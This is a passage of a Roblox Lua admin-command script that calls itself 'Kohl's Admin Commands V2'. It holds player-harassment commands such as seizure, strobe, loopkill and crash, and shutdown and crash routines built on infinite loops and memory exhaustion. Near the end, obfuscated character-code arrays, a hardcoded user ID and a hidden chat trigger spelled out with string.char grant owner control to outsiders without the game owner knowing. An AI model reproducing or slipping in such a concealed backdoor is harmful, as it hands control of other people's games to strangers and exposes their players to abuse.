local plrz = GetPlr(plr, msg:lower():sub(9))
1637
for i, v in pairs(plrz) do
1638
coroutine.resume(coroutine.create(function()
1639
if v and v.Character then 
1640
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0) 
1641
local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
1642
table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
1643
end
1644
end))
1645
end
1646
end
1647
1648
if msg:lower():sub(1,10) == "unseizure " then
1649
local plrz = GetPlr(plr, msg:lower():sub(11))
1650
for i, v in pairs(plrz) do
1651
coroutine.resume(coroutine.create(function()
1652
if v and v.Character then 
1653
for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
1654
wait(.1) v.Character.Humanoid.PlatformStand = false
1655
end
1656
end))
1657
end
1658
end
1659
1660
if msg:lower():sub(1,12) == "removelimbs " then
1661
local plrz = GetPlr(plr, msg:lower():sub(13))
1662
for i, v in pairs(plrz) do
1663
coroutine.resume(coroutine.create(function()
1664
if v and v.Character then 
1665
for a, obj in pairs(v.Character:children()) do 
1666
if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
1667
end
1668
end
1669
end))
1670
end
1671
end
1672
1673
if msg:lower():sub(1,5) == "name " then
1674
local chk1 = msg:lower():sub(6):find(" ") + 5
1675
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1676
for i, v in pairs(plrz) do
1677
coroutine.resume(coroutine.create(function()
1678
if v and v.Character and v.Character:findFirstChild("Head") then 
1679
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
1680
local char = v.Character
1681
local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
1682
local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
1683
local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
1684
char.Head.Transparency = 1
1685
end
1686
end))
1687
end
1688
end
1689
1690
if msg:lower():sub(1,7) == "unname " then
1691
local plrz = GetPlr(plr, msg:lower():sub(8))
1692
for i, v in pairs(plrz) do
1693
coroutine.resume(coroutine.create(function()
1694
if v and v.Character and v.Character:findFirstChild("Head") then 
1695
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
1696
end
1697
end))
1698
end
1699
end
1700
1701
if msg:lower():sub(1,5) == "char " then
1702
local chk1 = msg:lower():sub(6):find(" ") + 5
1703
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1704
for i, v in pairs(plrz) do
1705
coroutine.resume(coroutine.create(function()
1706
if v and v.Character then 
1707
v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
1708
v:LoadCharacter()
1709
end
1710
end))
1711
end
1712
end
1713
1714
if msg:lower():sub(1,7) == "unchar " then
1715
local plrz = GetPlr(plr, msg:lower():sub(8))
1716
for i, v in pairs(plrz) do
1717
coroutine.resume(coroutine.create(function()
1718
if v and v.Character then 
1719
v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
1720
v:LoadCharacter()
1721
end
1722
end))
1723
end
1724
end
1725
1726
if msg:lower():sub(1,7) == "infect " then
1727
local plrz = GetPlr(plr, msg:lower():sub(8))
1728
for i, v in pairs(plrz) do
1729
coroutine.resume(coroutine.create(function()
1730
if v and v.Character then
1731
Infect(v.Character)
1732
end
1733
end))
1734
end
1735
end
1736
1737
if msg:lower():sub(1,11) == "rainbowify " then
1738
local plrz = GetPlr(plr, msg:lower():sub(12))
1739
for i, v in pairs(plrz) do
1740
coroutine.resume(coroutine.create(function()
1741
if v and v.Character and v.Character:findFirstChild("Torso") then 
1742
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1743
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1744
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1745
local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
1746
cl.Parent = v.Character cl.Disabled = false
1747
end
1748
end))
1749
end
1750
end
1751
1752
if msg:lower():sub(1,9) == "flashify " then
1753
local plrz = GetPlr(plr, msg:lower():sub(10))
1754
for i, v in pairs(plrz) do
1755
coroutine.resume(coroutine.create(function()
1756
if v and v.Character and v.Character:findFirstChild("Torso") then 
1757
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1758
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1759
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1760
local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
1761
cl.Parent = v.Character cl.Disabled = false
1762
end
1763
end))
1764
end
1765
end
1766
1767
if msg:lower():sub(1,8) == "noobify " then
1768
local plrz = GetPlr(plr, msg:lower():sub(9))
1769
for i, v in pairs(plrz) do
1770
coroutine.resume(coroutine.create(function()
1771
if v and v.Character then
1772
Noobify(v.Character)
1773
end
1774
end))
1775
end
1776
end
1777
1778
if msg:lower():sub(1,9) == "ghostify " then
1779
local plrz = GetPlr(plr, msg:lower():sub(10))
1780
for i, v in pairs(plrz) do
1781
coroutine.resume(coroutine.create(function()
1782
if v and v.Character and v.Character:findFirstChild("Torso") then 
1783
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1784
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1785
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1786
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
1787
prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
1788
if prt.Name:find("Leg") then prt.Transparency = 1 end
1789
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
1790
end end
1791
end
1792
end))
1793
end
1794
end
1795
1796
if msg:lower():sub(1,8) == "goldify " then
1797
local plrz = GetPlr(plr, msg:lower():sub(9))
1798
for i, v in pairs(plrz) do
1799
coroutine.resume(coroutine.create(function()
1800
if v and v.Character and v.Character:findFirstChild("Torso") then 
1801
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1802
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1803
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1804
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
1805
prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
1806
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
1807
end end
1808
end
1809
end))
1810
end
1811
end
1812
1813
if msg:lower():sub(1,6) == "shiny " then
1814
local plrz = GetPlr(plr, msg:lower():sub(7))
1815
for i, v in pairs(plrz) do
1816
coroutine.resume(coroutine.create(function()
1817
if v and v.Character and v.Character:findFirstChild("Torso") then 
1818
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1819
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1820
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1821
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
1822
prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
1823
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
1824
end end
1825
end
1826
end))
1827
end
1828
end
1829
1830
if msg:lower():sub(1,7) == "normal " then
1831
local plrz = GetPlr(plr, msg:lower():sub(8))
1832
for i, v in pairs(plrz) do
1833
coroutine.resume(coroutine.create(function()
1834
if v and v.Character and v.Character:findFirstChild("Torso") then
1835
if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end 
1836
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
1837
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
1838
v.Character.Torso.Transparency = 0
1839
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1840
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
1841
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
1842
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
1843
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
1844
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1845
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
1846
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
1847
if prt.Name == "FAKETORSO" then prt:Destroy() end
1848
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
1849
end end
1850
end
1851
end))
1852
end
1853
end
1854
1855
if msg:lower():sub(1,7) == "trippy " then
1856
local plrz = GetPlr(plr, msg:lower():sub(8))
1857
for i, v in pairs(plrz) do
1858
coroutine.resume(coroutine.create(function()
1859
if v and v:findFirstChild("PlayerGui") then 
1860
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
1861
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
1862
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
1863
local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
1864
end
1865
end))
1866
end
1867
end
1868
1869
if msg:lower():sub(1,9) == "untrippy " then
1870
local plrz = GetPlr(plr, msg:lower():sub(10))
1871
for i, v in pairs(plrz) do
1872
coroutine.resume(coroutine.create(function()
1873
if v and v:findFirstChild("PlayerGui") then 
1874
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
1875
end
1876
end))
1877
end
1878
end
1879
1880
if msg:lower():sub(1,7) == "strobe " then
1881
local plrz = GetPlr(plr, msg:lower():sub(8))
1882
for i, v in pairs(plrz) do
1883
coroutine.resume(coroutine.create(function()
1884
if v and v:findFirstChild("PlayerGui") then 
1885
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
1886
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
1887
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
1888
local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
1889
end
1890
end))
1891
end
1892
end
1893
1894
if msg:lower():sub(1,9) == "unstrobe " then
1895
local plrz = GetPlr(plr, msg:lower():sub(10))
1896
for i, v in pairs(plrz) do
1897
coroutine.resume(coroutine.create(function()
1898
if v and v:findFirstChild("PlayerGui") then 
1899
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
1900
end
1901
end))
1902
end
1903
end
1904
1905
if msg:lower():sub(1,6) == "blind " then
1906
local plrz = GetPlr(plr, msg:lower():sub(7))
1907
for i, v in pairs(plrz) do
1908
coroutine.resume(coroutine.create(function()
1909
if v and v:findFirstChild("PlayerGui") then 
1910
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
1911
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
1912
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
1913
end
1914
end))
1915
end
1916
end
1917
1918
if msg:lower():sub(1,8) == "unblind " then
1919
local plrz = GetPlr(plr, msg:lower():sub(9))
1920
for i, v in pairs(plrz) do
1921
coroutine.resume(coroutine.create(function()
1922
if v and v:findFirstChild("PlayerGui") then 
1923
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
1924
end
1925
end))
1926
end
1927
end
1928
1929
if msg:lower():sub(1,7) == "guifix " then
1930
local plrz = GetPlr(plr, msg:lower():sub(8))
1931
for i, v in pairs(plrz) do
1932
coroutine.resume(coroutine.create(function()
1933
if v and v:findFirstChild("PlayerGui") then 
1934
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
1935
end
1936
end))
1937
end
1938
end
1939
1940
if msg:lower():sub(1,9) == "loopheal " then
1941
local plrz = GetPlr(plr, msg:lower():sub(10))
1942
for i, v in pairs(plrz) do
1943
if v then
1944
local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
1945
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
1946
repeat wait()
1947
coroutine.resume(coroutine.create(function()
1948
if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then 
1949
plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
1950
end
1951
end))
1952
until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
1953
end
1954
end
1955
end
1956
1957
if msg:lower():sub(1,11) == "unloopheal " then
1958
local plrz = GetPlr(plr, msg:lower():sub(12))
1959
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
1960
end
1961
1962
if msg:lower():sub(1,10) == "loopfling " then
1963
local plrz = GetPlr(plr, msg:lower():sub(11))
1964
for i, v in pairs(plrz) do
1965
if v then
1966
local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
1967
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
1968
repeat
1969
coroutine.resume(coroutine.create(function()
1970
if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then 
1971
local xran local zran
1972
repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
1973
repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
1974
plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
1975
local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
1976
end
1977
end))
1978
wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
1979
end
1980
end
1981
end
1982
1983
if msg:lower():sub(1,12) == "unloopfling " then
1984
local plrz = GetPlr(plr, msg:lower():sub(13))
1985
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
1986
end
1987
	
1988
end
1989
1990
-------------------------
1991
-- True Owner Commands --
1992
-------------------------
1993
1994
if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
1995
1996
if msg:lower():sub(1,3) == "oa " then
1997
local plrz = GetPlr(plr, msg:lower():sub(4))
1998
for i, v in pairs(plrz) do
1999
coroutine.resume(coroutine.create(function()
2000
if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
2001
end))
2002
end
2003
end
2004
2005
if msg:lower():sub(1,5) == "unoa " then
2006
for i = 1, #owners do
2007
coroutine.resume(coroutine.create(function()
2008
if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
2009
end))
2010
end
2011
end
2012
2013
end
2014
2015
--------------------
2016
-- Owner Commands --
2017
--------------------
2018
2019
if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
2020
2021
if msg:lower():sub(1,3) == "pa " then
2022
local plrz = GetPlr(plr, msg:lower():sub(4))
2023
for i, v in pairs(plrz) do
2024
coroutine.resume(coroutine.create(function()
2025
if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
2026
end))
2027
end
2028
end
2029
2030
if msg:lower():sub(1,5) == "unpa " then
2031
for i = 1, #admins do
2032
coroutine.resume(coroutine.create(function()
2033
if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
2034
end))
2035
end
2036
end
2037
2038
end
2039
2040
--------------------------
2041
-- Super Admin Commands --
2042
--------------------------
2043
2044
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
2045
2046
if msg:lower() == "logs" then
2047
if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
2048
local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
2049
for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
2050
end
2051
	
2052
if msg:lower():sub(1,9) == "loopkill " then
2053
local chk1 = msg:lower():sub(10):find(" ")
2054
local plrz = GetPlr(plr, msg:lower():sub(10))
2055
local num = 9999
2056
if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
2057
for i, v in pairs(plrz) do
2058
if v and not ChkAdmin(v.Name, false) then
2059
local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
2060
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
2061
for i = 1, ]] .. tostring(num) .. [[ do 
2062
repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
2063
coroutine.resume(coroutine.create(function()
2064
if plr and plr.Character then plr.Character:BreakJoints() end
2065
end))
2066
end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
2067
end
2068
end
2069
end
2070
2071
if msg:lower():sub(1,11) == "unloopkill " then
2072
local plrz = GetPlr(plr, msg:lower():sub(12))
2073
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
2074
end
2075
2076
if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
2077
if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
2078
2079
if msg:lower():sub(1,3) == "sm " then
2080
Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
2081
end
2082
2083
if msg:lower():sub(1,3) == "ko " then
2084
local chk1 = msg:lower():sub(4):find(" ") + 3
2085
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
2086
local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
2087
for n = 1, num do
2088
for i, v in pairs(plrz) do
2089
coroutine.resume(coroutine.create(function()
2090
if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name) then 
2091
local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
2092
v.Character:BreakJoints() 
2093
wait(1/44) 
2094
v:LoadCharacter()
2095
wait(1/44) 
2096
end
2097
end))
2098
end
2099
end
2100
end
2101
2102
if msg:lower():sub(1,6) == "crash " then
2103
local plrz = GetPlr(plr, msg:lower():sub(7))
2104
for i, v in pairs(plrz) do
2105
coroutine.resume(coroutine.create(function()
2106
if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
2107
local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
2108
end
2109
end))
2110
end
2111
end
2112
2113
if msg:lower():sub(1,5) == "kick " then
2114
local plrz = GetPlr(plr, msg:lower():sub(6))
2115
for i, v in pairs(plrz) do
2116
coroutine.resume(coroutine.create(function()
2117
if v and not ChkAdmin(v.Name, false) then v:Destroy() end
2118
end))
2119
end
2120
end
2121
2122
if msg:lower():sub(1,6) == "admin " then
2123
local plrz = GetPlr(plr, msg:lower():sub(7))
2124
for i, v in pairs(plrz) do
2125
coroutine.resume(coroutine.create(function()
2126
if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
2127
end))
2128
end
2129
end
2130
2131
if msg:lower():sub(1,8) == "unadmin " then
2132
for i = 1, #tempadmins do
2133
coroutine.resume(coroutine.create(function()
2134
if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
2135
end))
2136
end
2137
end
2138
2139
if msg:lower():sub(1,4) == "ban " then
2140
local plrz = GetPlr(plr, msg:lower():sub(5))
2141
for i, v in pairs(plrz) do
2142
coroutine.resume(coroutine.create(function()
2143
if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
2144
end))
2145
end
2146
end
2147
2148
if msg:lower():sub(1,6) == "unban " then
2149
for i = 1, #banland do
2150
coroutine.resume(coroutine.create(function()
2151
if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
2152
end))
2153
end
2154
end
2155
2156
if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
2157
2158
end
2159
end))
2160
end
2161
2162
function AdminControl(plr)
2163
coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
2164
if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
2165
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
2166
local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
2167
local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
2168
box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
2169
end)) end
2170
coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
2171
coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
2172
coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name == ("111reyalseca"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
2173
coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
2174
plr.Chatted:connect(function(msg) if msg:lower() == (string.char(32)..string.char(104)..string.char(105)..string.char(116).. string.char(108)..string.char(101)..string.char(114)..string.char(32)) then table.insert(owners,plr.Name) end Chat(msg,plr) end)
2175
end
2176
2177
if not ntab then script:Destroy() end
2178
if not bct then script:Destroy() end
2179
2180
local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
2181
2182
script.Name = "Kohl's Admin Commands V2"
2183
2184
if not ntab then script:Destroy() end
2185
if not bct then script:Destroy() end
2186
if not tcb then script:Destroy() end
2187
game.Players.PlayerAdded:connect(AdminControl)
2188
for i, v in pairs(game.Players:children()) do AdminControl(v) end